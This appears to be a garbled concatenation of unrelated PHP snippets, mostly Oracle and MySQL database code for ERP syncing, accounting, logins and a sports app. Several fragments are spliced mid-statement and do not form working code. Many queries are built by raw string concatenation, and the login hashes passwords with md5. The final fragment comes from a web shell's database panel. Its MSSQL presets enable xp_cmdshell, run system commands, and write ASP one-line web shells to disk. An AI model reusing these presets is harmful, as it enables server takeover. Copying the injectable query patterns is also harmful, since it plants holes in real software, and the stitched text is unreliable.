$sqlTotvsSC6010 = ociparse($totvsConexao, "SELECT C6_FILIAL\r\n\t\t\t\t\t\t\t\t\t\t\t , C6_ITEM\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_PRODUTO\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_QTDVEN\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_UM\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_PRCVEN\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_VALOR\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_NUM\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_TES \r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_CF\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_QTDLIB\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_MOTAT\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_PROORI\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_QTDENT\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_DESCONT\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_NOTA\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_SERIE\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_VALDESC\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_NUMORC\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_ENTREG\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_LOCAL\r\n\t\t\t\t\t\t\t\t\t\t\t\t , C6_DATFAT\r\n\t\t\t\t\t\t\t\t\t\t\t\t , R_E_C_N_O_\r\n\t\t\t\t\t\t\t\t\t\t\t , D_E_L_E_T_\r\n\t\t\t\t\t\t\t\t\t\t\t FROM SC6010\r\n\t\t\t\t\t\t\t\t\t\t\t ORDER BY R_E_C_N_O_");
ociexecute($sqlTotvsSC6010);
while ($rowTotvsSC6010 = oci_fetch_array($sqlTotvsSC6010)) {
$sqlFatPedidoVendaItem = mysql_query("SELECT null FROM tb_fat_pedido_venda_item WHERE CO_RECNO = '" . $rowTotvsSC6010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
if (mysql_num_rows($sqlFatPedidoVendaItem) == 0) {
if (trim($rowTotvsSC6010['D_E_L_E_T_']) == '*') {
mysql_query("INSERT INTO tb_fat_pedido_venda_item (CO_FILIAL\r\n\t\t\t\t\t\t\t , NU_PEDIDO_VENDA\r\n\t\t\t\t\t\t\t\t , NU_ITEM\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO\r\n\t\t\t\t\t\t\t\t , TP_UNIDADE\r\n\t\t\t\t\t\t\t\t , QTD_PRODUTO\r\n\t\t\t\t\t\t\t\t , QTD_LIBERADA\r\n\t\t\t\t\t\t\t\t , QTD_ENTREGA\r\n\t\t\t\t\t\t\t\t , VL_PRODUTO\r\n\t\t\t\t\t\t\t\t , VL_DESCONTO\r\n\t\t\t\t\t\t\t\t , PER_DESCONTO\r\n\t\t\t\t\t\t\t\t , VL_TOTAL\r\n\t\t\t\t\t\t\t\t , NU_TES\r\n\t\t\t\t\t\t\t\t , NU_CFOP\r\n\t\t\t\t\t\t\t\t , TP_MOTIVO_AT\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO_AT\r\n\t\t\t\t\t\t\t\t , NU_NOTA_FISCAL\r\n\t\t\t\t\t\t\t\t , NU_SERIE_NOTA_FISCAL\r\n\t\t\t\t\t\t\t\t , NU_ORCAMENTO\r\n\t\t\t\t\t\t\t\t , DT_ENTREGA\r\n\t\t\t\t\t\t\t\t , NU_ARMAZEM\r\n\t\t\t\t\t\t\t\t , DT_FATURAMENTO\r\n\t\t\t\t\t\t\t\t , CO_RECNO\r\n\t\t\t\t\t\t\t\t , FL_DELET)\r\n\t\t\t\t\t\t\t VALUES('" . $rowTotvsSC6010['C6_FILIAL'] . "' \r\n\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NUM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_ITEM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PRODUTO'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_UM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDVEN'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDLIB'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDENT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PRCVEN'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_VALDESC'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_DESCONT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_VALOR'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_TES'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_CF'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_MOTAT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PROORI'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NOTA'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_SERIE'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NUMORC'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_ENTREG'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_LOCAL'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_DATFAT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['R_E_C_N_O_'] . "'\r\n\t\t\t\t\t\t\t\t , '*')", $conexaoExtranet) or die(mysql_error());
} else {
mysql_query("INSERT INTO tb_fat_pedido_venda_item (CO_FILIAL\r\n\t\t\t\t\t\t\t , NU_PEDIDO_VENDA\r\n\t\t\t\t\t\t\t\t , NU_ITEM\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO\r\n\t\t\t\t\t\t\t\t , TP_UNIDADE\r\n\t\t\t\t\t\t\t\t , QTD_PRODUTO\r\n\t\t\t\t\t\t\t\t , QTD_LIBERADA\r\n\t\t\t\t\t\t\t\t , QTD_ENTREGA\r\n\t\t\t\t\t\t\t\t , VL_PRODUTO\r\n\t\t\t\t\t\t\t\t , VL_DESCONTO\r\n\t\t\t\t\t\t\t\t , PER_DESCONTO\r\n\t\t\t\t\t\t\t\t , VL_TOTAL\r\n\t\t\t\t\t\t\t\t , NU_TES\r\n\t\t\t\t\t\t\t\t , NU_CFOP\r\n\t\t\t\t\t\t\t\t , TP_MOTIVO_AT\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO_AT\r\n\t\t\t\t\t\t\t\t , NU_NOTA_FISCAL\r\n\t\t\t\t\t\t\t\t , NU_SERIE_NOTA_FISCAL\r\n\t\t\t\t\t\t\t\t , NU_ORCAMENTO\r\n\t\t\t\t\t\t\t\t , DT_ENTREGA\r\n\t\t\t\t\t\t\t\t , NU_ARMAZEM\r\n\t\t\t\t\t\t\t\t , DT_FATURAMENTO\r\n\t\t\t\t\t\t\t\t , CO_RECNO)\r\n\t\t\t\t\t\t\t VALUES('" . $rowTotvsSC6010['C6_FILIAL'] . "' \r\n\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NUM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_ITEM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PRODUTO'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_UM'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDVEN'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDLIB'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_QTDENT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PRCVEN'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_VALDESC'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_DESCONT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_VALOR'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_TES'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_CF'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_MOTAT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_PROORI'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NOTA'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_SERIE'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_NUMORC'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_ENTREG'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_LOCAL'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['C6_DATFAT'] . "'\r\n\t\t\t\t\t\t\t\t , '" . $rowTotvsSC6010['R_E_C_N_O_'] . "')", $conexaoExtranet) or die(mysql_error());
}
} else {
if (trim($rowTotvsSC6010['D_E_L_E_T_']) == '*') {
mysql_query("UPDATE tb_fat_pedido_venda_item SET\r\n\t\t\t\t\t CO_FILIAL = '" . $rowTotvsSC6010['C6_FILIAL'] . "' \r\n\t\t\t\t\t\t\t\t , NU_PEDIDO_VENDA = '" . $rowTotvsSC6010['C6_NUM'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ITEM = '" . $rowTotvsSC6010['C6_ITEM'] . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO = '" . $rowTotvsSC6010['C6_PRODUTO'] . "'\r\n\t\t\t\t\t\t\t\t , TP_UNIDADE = '" . $rowTotvsSC6010['C6_UM'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_PRODUTO = '" . $rowTotvsSC6010['C6_QTDVEN'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_LIBERADA = '" . $rowTotvsSC6010['C6_QTDLIB'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_ENTREGA = '" . $rowTotvsSC6010['C6_QTDENT'] . "'\r\n\t\t\t\t\t\t\t\t , VL_PRODUTO = '" . $rowTotvsSC6010['C6_PRCVEN'] . "'\r\n\t\t\t\t\t\t\t\t , VL_DESCONTO = '" . $rowTotvsSC6010['C6_VALDESC'] . "'\r\n\t\t\t\t\t\t\t\t , PER_DESCONTO = '" . $rowTotvsSC6010['C6_DESCONT'] . "'\r\n\t\t\t\t\t\t\t\t , VL_TOTAL = '" . $rowTotvsSC6010['C6_VALOR'] . "'\r\n\t\t\t\t\t\t\t\t , NU_TES = '" . $rowTotvsSC6010['C6_TES'] . "'\r\n\t\t\t\t\t\t\t\t , NU_CFOP = '" . $rowTotvsSC6010['C6_CF'] . "'\r\n\t\t\t\t\t\t\t\t , TP_MOTIVO_AT = '" . $rowTotvsSC6010['C6_MOTAT'] . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO_AT = '" . $rowTotvsSC6010['C6_PROORI'] . "'\r\n\t\t\t\t\t\t\t\t , NU_NOTA_FISCAL = '" . $rowTotvsSC6010['C6_NOTA'] . "'\r\n\t\t\t\t\t\t\t\t , NU_SERIE_NOTA_FISCAL = '" . $rowTotvsSC6010['C6_SERIE'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ORCAMENTO = '" . $rowTotvsSC6010['C6_NUMORC'] . "'\r\n\t\t\t\t\t\t\t\t , DT_ENTREGA = '" . $rowTotvsSC6010['C6_ENTREG'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ARMAZEM = '" . $rowTotvsSC6010['C6_LOCAL'] . "'\r\n\t\t\t\t\t\t\t\t , DT_FATURAMENTO = '" . $rowTotvsSC6010['C6_DATFAT'] . "'\r\n\t\t\t\t\t\t\t\t , FL_DELET \t\t\t= '*'\r\n\t\t\t\t\t\t\t WHERE CO_RECNO = '" . $rowTotvsSC6010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
} else {
mysql_query("UPDATE tb_fat_pedido_venda_item SET\r\n\t\t\t\t\t CO_FILIAL = '" . $rowTotvsSC6010['C6_FILIAL'] . "' \r\n\t\t\t\t\t\t\t\t , NU_PEDIDO_VENDA = '" . $rowTotvsSC6010['C6_NUM'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ITEM = '" . $rowTotvsSC6010['C6_ITEM'] . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO = '" . $rowTotvsSC6010['C6_PRODUTO'] . "'\r\n\t\t\t\t\t\t\t\t , TP_UNIDADE = '" . $rowTotvsSC6010['C6_UM'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_PRODUTO = '" . $rowTotvsSC6010['C6_QTDVEN'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_LIBERADA = '" . $rowTotvsSC6010['C6_QTDLIB'] . "'\r\n\t\t\t\t\t\t\t\t , QTD_ENTREGA = '" . $rowTotvsSC6010['C6_QTDENT'] . "'\r\n\t\t\t\t\t\t\t\t , VL_PRODUTO = '" . $rowTotvsSC6010['C6_PRCVEN'] . "'\r\n\t\t\t\t\t\t\t\t , VL_DESCONTO = '" . $rowTotvsSC6010['C6_VALDESC'] . "'\r\n\t\t\t\t\t\t\t\t , PER_DESCONTO = '" . $rowTotvsSC6010['C6_DESCONT'] . "'\r\n\t\t\t\t\t\t\t\t , VL_TOTAL = '" . $rowTotvsSC6010['C6_VALOR'] . "'\r\n\t\t\t\t\t\t\t\t , NU_TES = '" . $rowTotvsSC6010['C6_TES'] . "'\r\n\t\t\t\t\t\t\t\t , NU_CFOP = '" . $rowTotvsSC6010['C6_CF'] . "'\r\n\t\t\t\t\t\t\t\t , TP_MOTIVO_AT = '" . $rowTotvsSC6010['C6_MOTAT'] . "'\r\n\t\t\t\t\t\t\t\t , CO_PRODUTO_AT = '" . $rowTotvsSC6010['C6_PROORI'] . "'\r\n\t\t\t\t\t\t\t\t , NU_NOTA_FISCAL = '" . $rowTotvsSC6010['C6_NOTA'] . "'\r\n\t\t\t\t\t\t\t\t , NU_SERIE_NOTA_FISCAL = '" . $rowTotvsSC6010['C6_SERIE'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ORCAMENTO = '" . $rowTotvsSC6010['C6_NUMORC'] . "'\r\n\t\t\t\t\t\t\t\t , DT_ENTREGA = '" . $rowTotvsSC6010['C6_ENTREG'] . "'\r\n\t\t\t\t\t\t\t\t , NU_ARMAZEM = '" . $rowTotvsSC6010['C6_LOCAL'] . "'\r\n\t\t\t\t\t\t\t\t , DT_FATURAMENTO = '" . $rowTotvsSC6010['C6_DATFAT'] . "'\r\n\t\t\t\t\t\t\t WHERE CO_RECNO = '" . $rowTotvsSC6010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
}
}
}
$tPor = $can - $cant;
return $can;
}
function saca_iva($can, $por)
{
$cant = $can;
$can = $can / 100 * $por;
$can += $cant;
return $can;
}
//****************************Cierro funciones************************************
//********************************VERIFICA EL ULTIMO MOVIMIENTO*******************
//********traigo centro de costos y libro*********
//$cmdstr1 = "select * from MATEO.CONT_FOLIO where LOGIN = '******' ";
$cmdstr1 = "select * from MATEO.CONT_FOLIO where LOGIN = '******' \r\nAND ID_EJERCICIO='" . $ID_EJERCICIOM . "'\r\nAND\r\nID_LIBRO='" . $ID_LIBROM . "'\r\n";
$parsed1 = ociparse($db_conn, $cmdstr1);
ociexecute($parsed1);
$nrows1 = ocifetchstatement($parsed1, $results1);
for ($i = 0; $i < $nrows1; $i++) {
$ID_LIBRO = $results1['ID_LIBRO'][$i];
$ID_EJERCICIO = $results1['ID_EJERCICIO'][$i];
}
//***********************************************************************************
//*****************************Verificando caja abierta**************************
$sSQLC = "Select * From aperturaCaja ";
$resultC = mysql_db_query($basedatos, $sSQLC);
$myrowC = mysql_fetch_array($resultC);
if ($poliza = $myrowC['numeroPoliza']) {
//*******************Comienzo la validaci�n*****************
//********************Llenado de datos
$sSQL3 = "Select * From clientesInternos WHERE keyClientesInternos = '" . $numeroCuenta . "' ";
/**
* Build db-specific report
* @access private
*/
function _sql_report($mode, $query = '')
{
switch ($mode) {
case 'start':
$html_table = false;
// Grab a plan table, any will do
$sql = "SELECT table_name\n\t\t\t\t\tFROM USER_TABLES\n\t\t\t\t\tWHERE table_name LIKE '%PLAN_TABLE%'";
$stmt = ociparse($this->db_connect_id, $sql);
ociexecute($stmt);
$result = array();
if (ocifetchinto($stmt, $result, OCI_ASSOC + OCI_RETURN_NULLS)) {
$table = $result['TABLE_NAME'];
// This is the statement_id that will allow us to track the plan
$statement_id = substr(md5($query), 0, 30);
// Remove any stale plans
$stmt2 = ociparse($this->db_connect_id, "DELETE FROM {$table} WHERE statement_id='{$statement_id}'");
ociexecute($stmt2);
ocifreestatement($stmt2);
// Explain the plan
$sql = "EXPLAIN PLAN\n\t\t\t\t\t\tSET STATEMENT_ID = '{$statement_id}'\n\t\t\t\t\t\tFOR {$query}";
$stmt2 = ociparse($this->db_connect_id, $sql);
ociexecute($stmt2);
ocifreestatement($stmt2);
// Get the data from the plan
$sql = "SELECT operation, options, object_name, object_type, cardinality, cost\n\t\t\t\t\t\tFROM plan_table\n\t\t\t\t\t\tSTART WITH id = 0 AND statement_id = '{$statement_id}'\n\t\t\t\t\t\tCONNECT BY PRIOR id = parent_id\n\t\t\t\t\t\t\tAND statement_id = '{$statement_id}'";
$stmt2 = ociparse($this->db_connect_id, $sql);
ociexecute($stmt2);
$row = array();
while (ocifetchinto($stmt2, $row, OCI_ASSOC + OCI_RETURN_NULLS)) {
$html_table = $this->sql_report('add_select_row', $query, $html_table, $row);
}
ocifreestatement($stmt2);
// Remove the plan we just made, we delete them on request anyway
$stmt2 = ociparse($this->db_connect_id, "DELETE FROM {$table} WHERE statement_id='{$statement_id}'");
ociexecute($stmt2);
ocifreestatement($stmt2);
}
ocifreestatement($stmt);
if ($html_table) {
$this->html_hold .= '</table>';
}
break;
case 'fromcache':
$endtime = explode(' ', microtime());
$endtime = $endtime[0] + $endtime[1];
$result = @ociparse($this->db_connect_id, $query);
$success = @ociexecute($result, OCI_DEFAULT);
$row = array();
while (@ocifetchinto($result, $row, OCI_ASSOC + OCI_RETURN_NULLS)) {
// Take the time spent on parsing rows into account
}
@ocifreestatement($result);
$splittime = explode(' ', microtime());
$splittime = $splittime[0] + $splittime[1];
$this->sql_report('record_fromcache', $query, $endtime, $splittime);
break;
}
}
/**
* Generate a statement ID
*
* @access private
* @param string an SQL query
* @return none
*/
function _set_stmt_id($sql)
{
if (!is_resource($this->stmt_id)) {
$this->stmt_id = ociparse($this->conn_id, $this->_prep_query($sql));
}
}
<select id ="S_Team_B"></select>
Fecha: <input type="text" id="Calendario_match" class="datePicker">
<input type="button" onclick="agregarpartido()"value=agregar></input>
</div>
<div id=cajapartidos></div>
</div>
<input type="button" onclick="crearEvento()" value="Crear evento"></input>
</div>
</body>
<?php
include "conexion.php";
$conn = OCILogon($user, $pass, $db);
$outrefc = ocinewcursor($conn);
//Declare cursor variable
$mycursor = ociparse($conn, "begin get_AllTeams(:curs); end;");
// prepare procedure call
ocibindbyname($mycursor, ':curs', $outrefc, -1, OCI_B_CURSOR);
// bind procedure parameters
$ret = ociexecute($mycursor);
// Execute function
$ret = ociexecute($outrefc);
// Execute cursor
$nrows = ocifetchstatement($outrefc, $data);
// fetch data from cursor
ocifreestatement($mycursor);
// close procedure call
ocifreestatement($outrefc);
// close cursor
//var_dump($data);
echo " <div id ='subStadiumBox'class='subStadiumBox'>";
<?php
$sqlTotvsSX5010 = ociparse($totvsConexao, "SELECT X5_CHAVE\r\n\t\t\t\t\t\t\t\t\t\t\t , X5_DESCRI\r\n\t\t\t\t\t\t\t\t\t\t\t , X5_DESCSPA\r\n\t\t\t\t\t\t\t\t\t\t\t , R_E_C_N_O_\r\n\t\t\t\t\t\t\t\t\t\t\t , D_E_L_E_T_ \r\n\t\t\t\t\t\t\t\t\t\t\t FROM SX5010 \r\n\t\t\t\t\t\t\t\t\t\t\t WHERE X5_TABELA = 'CR'\r\n\t\t\t\t\t\t\t\t\t\t ORDER BY R_E_C_N_O_");
ociexecute($sqlTotvsSX5010);
while ($rowTotvsSX5010 = oci_fetch_array($sqlTotvsSX5010)) {
$sqlPcpCor = mysql_query("SELECT null FROM tb_pcp_cor WHERE CO_RECNO = '" . $rowTotvsSX5010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
if (mysql_num_rows($sqlPcpCor) == 0) {
if (trim($rowTotvsSX5010['D_E_L_E_T_']) == '*') {
mysql_query("INSERT INTO tb_pcp_cor (CO_COR\r\n\t\t\t\t , NO_COR\r\n\t\t\t\t\t , DS_COR\r\n\t\t\t\t\t , CO_RECNO\r\n\t\t\t\t\t\t\t\t , FL_DELET)\r\n\t\t\t\t\t\t\t VALUES('" . $rowTotvsSX5010['X5_CHAVE'] . "' \r\n\t\t\t\t\t , '" . trim(addslashes($rowTotvsSX5010['X5_DESCRI'])) . "' \r\n\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsSX5010['X5_DESCSPA'])) . "' \r\n\t\t\t\t\t\t\t , '" . $rowTotvsSX5010['R_E_C_N_O_'] . "'\r\n\t\t\t\t\t\t\t\t , '*')", $conexaoExtranet) or die(mysql_error());
} else {
mysql_query("INSERT INTO tb_pcp_cor (CO_COR\r\n\t\t\t\t , NO_COR\r\n\t\t\t\t\t , DS_COR\r\n\t\t\t\t\t , CO_RECNO)\r\n\t\t\t\t\t\t\t VALUES('" . $rowTotvsSX5010['X5_CHAVE'] . "' \r\n\t\t\t\t\t , '" . trim(addslashes($rowTotvsSX5010['X5_DESCRI'])) . "' \r\n\t\t\t\t\t\t\t , '" . trim(addslashes($rowTotvsSX5010['X5_DESCSPA'])) . "' \r\n\t\t\t\t\t\t\t , '" . $rowTotvsSX5010['R_E_C_N_O_'] . "')", $conexaoExtranet) or die(mysql_error());
}
} else {
if (trim($rowTotvsSX5010['D_E_L_E_T_']) == '*') {
mysql_query("UPDATE tb_pcp_cor SET\r\n\t\t\t\t\t\t\t CO_COR = '" . $rowTotvsSX5010['X5_CHAVE'] . "'\r\n\t\t\t\t , NO_COR = '" . trim(addslashes($rowTotvsSX5010['X5_DESCRI'])) . "' \r\n\t\t\t\t\t , DS_COR = '" . trim(addslashes($rowTotvsSX5010['X5_DESCSPA'])) . "'\r\n\t\t\t\t\t\t\t , FL_DELET = '*'\r\n\t\t\t\t\t\t \t WHERE CO_RECNO = '" . $rowTotvsSX5010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
} else {
mysql_query("UPDATE tb_pcp_cor SET\r\n\t\t\t\t\t\t\t CO_COR = '" . $rowTotvsSX5010['X5_CHAVE'] . "'\r\n\t\t\t\t , NO_COR = '" . trim(addslashes($rowTotvsSX5010['X5_DESCRI'])) . "' \r\n\t\t\t\t\t , DS_COR = '" . trim(addslashes($rowTotvsSX5010['X5_DESCSPA'])) . "'\r\n\t\t\t\t\t\t \t WHERE CO_RECNO = '" . $rowTotvsSX5010['R_E_C_N_O_'] . "'", $conexaoExtranet) or die(mysql_error());
}
}
}
}
$ID_EJERCICIOM = '001-2008';
$ID_CCOSTOM = '4.01';
//********************COMIENZAN VALIDACIONES***********************************
if (!$usuario and !isset($_POST['username']) and !isset($_POST['password']) and !isset($_POST['ingresar'])) {
echo '<META HTTP-EQUIV="Refresh"
CONTENT="0; URL=' . CONSTANT_PATH_SIMA_RAIZ . '/index.php">';
exit;
}
if (!$usuario) {
//encriptar
$crypt = $_POST['password'];
$_POST['password'] = md5($_POST['password']);
if (isset($_POST['username']) and isset($_POST['password']) and isset($_POST['ingresar'])) {
$cmdstr3 = "select * from PEDRO.USUARIO WHERE LOGIN = '******'username'] . "' AND PASSWORD1 = '" . $_POST['password'] . "'\r\nAND STATUS='A'\r\n";
$parsed3 = ociparse($db_conn, $cmdstr3);
ociexecute($parsed3);
$nrows3 = ocifetchstatement($parsed3, $resulta3);
for ($i = 0; $i < $nrows3; $i++) {
$user = $resulta3['LOGIN'][$i];
$passwd = $resulta3['PASSWORD1'][$i];
}
if ($user == $_POST['username'] and $passwd == $_POST['password']) {
//agregar sesiones
session_destroy();
session_start();
$llave = session_id();
$agregaIP = "INSERT INTO sesiones ( \r\nusuario,ip,llave\r\n) values ('" . $user . "','" . $ip . "','" . $llave . "')";
mysql_db_query($basedatos, $agregaIP);
echo mysql_error();
echo '<META HTTP-EQUIV="Refresh"
// prepare procedure call
ocibindbyname($mycursor, ':curs', $outrefc, -1, OCI_B_CURSOR);
// bind procedure parameters
$ret = ociexecute($mycursor);
// Execute function
$ret = ociexecute($outrefc);
// Execute cursor
$nrows = ocifetchstatement($outrefc, $pos1);
// fetch data from cursor
ocifreestatement($mycursor);
// close procedure call
ocifreestatement($outrefc);
// close cursor
$outrefc = ocinewcursor($conn);
//Declare cursor variable
$mycursor = ociparse($conn, "begin getPotisions(:curs,'{$alin2}'); end;");
// prepare procedure call
ocibindbyname($mycursor, ':curs', $outrefc, -1, OCI_B_CURSOR);
// bind procedure parameters
$ret = ociexecute($mycursor);
// Execute function
$ret = ociexecute($outrefc);
// Execute cursor
$nrows = ocifetchstatement($outrefc, $pos2);
// fetch data from cursor
ocifreestatement($mycursor);
// close procedure call
ocifreestatement($outrefc);
// close cursor
for ($p = 0; $p < count($pos2["POSICION"]); $p++) {
$posicion1 = $pos1["POSICION"][$p];
function res_sel($sel, $dbcnx)
{
if (!$dbcnx) {
return null;
}
// $req = pg_query($sel) or die('echec sql : ' . pg_last_error());
// $req = pg_query($sel);
$req = ociparse($dbcnx, $sel);
// oracle
if (!oci_execute($req, OCI_DEFAULT)) {
oci_rollback($dbcnx);
$e = oci_error($req);
print "<pre><font color='red'>" . $e['sqltext'] . ': ' . $e['message'] . '</font></pre>';
$_url = "../index.php?ong=" . $_POST['ong'];
echo "<br><br><b><a href={$_url}>Retour</a></b>";
die;
}
$res = array();
$i = 0;
while ($line = oci_fetch_array($req, OCI_ASSOC + OCI_RETURN_NULLS)) {
// oracle
// while ($line = pg_fetch_array($req, null, PGSQL_ASSOC)) {
foreach ($line as $cle => $col_value) {
$res[strtolower($cle)][$i] = $col_value;
}
$i++;
}
$total_lignes = $i;
// pg_free_result($req);
oci_free_statement($req);
//oracle
// return list($res, $total_lignes);
return array('res' => $res, 'total_lignes' => $total_lignes);
}
function otherdb()
{
$db = isset($_GET['db']) ? $_GET['db'] : 'ms';
print <<<END
<form method="POST" name="dbform" id="dbform" action="?s=gg&db={$db}" enctype="multipart/form-data">
<div class="actall">
<a href="?s=gg&db=ms">   MSSQL  </a>
<a href="?s=gg&db=ora">   Oracle  </a>
<a href="?s=gg&db=ifx">   InforMix  </a>
<a href="?s=gg&db=fb">   FireBird  </a>
<a href="?s=gg&db=db2">  DB2  </a></div></form>
END;
if ($db == "ms") {
$mshost = isset($_POST['mshost']) ? $_POST['mshost'] : 'localhost';
$msuser = isset($_POST['msuser']) ? $_POST['msuser'] : '******';
$mspass = isset($_POST['mspass']) ? $_POST['mspass'] : '';
$msdbname = isset($_POST['msdbname']) ? $_POST['msdbname'] : 'master';
$msaction = isset($_POST['action']) ? $_POST['action'] : '';
$msquery = isset($_POST['mssql']) ? $_POST['mssql'] : '';
$msquery = stripslashes($msquery);
print <<<END
<div class="actall">
<form method="POST" name="msform" action="?s=gg&db=ms">
Host:<input type="text" name="mshost" value="{$mshost}" style="width:100px">
User:<input type="text" name="msuser" value="{$msuser}" style="width:100px">
Pass:<input type="text" name="mspass" value="{$mspass}" style="width:100px">
Dbname:<input type="text" name="msdbname" value="{$msdbname}" style="width:100px"><br>
<script language="javascript">
function msFull(i){
\tStr = new Array(11);
\tStr[0] = "";
\tStr[1] = "select @@version;";
\tStr[2] = "select name from sysdatabases;";
\tStr[3] = "select name from sysobject where type='U';";
\tStr[4] = "select name from syscolumns where id=Object_Id('table_name');";
\tStr[5] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll');";
\tStr[6] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll');";
\tStr[7] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
\tStr[8] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
\tStr[9] = "exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
\tStr[10] = "Exec master.dbo.xp_cmdshell 'net user';";
\tStr[11] = "Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^<%execute(request(char(35)))%^> > c:\\\\1.asp';";
\tStr[12] = "sp_makewebtask @outputfile='d:\\\\web\\\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))%>''' ";
\tmsform.mssql.value = Str[i];
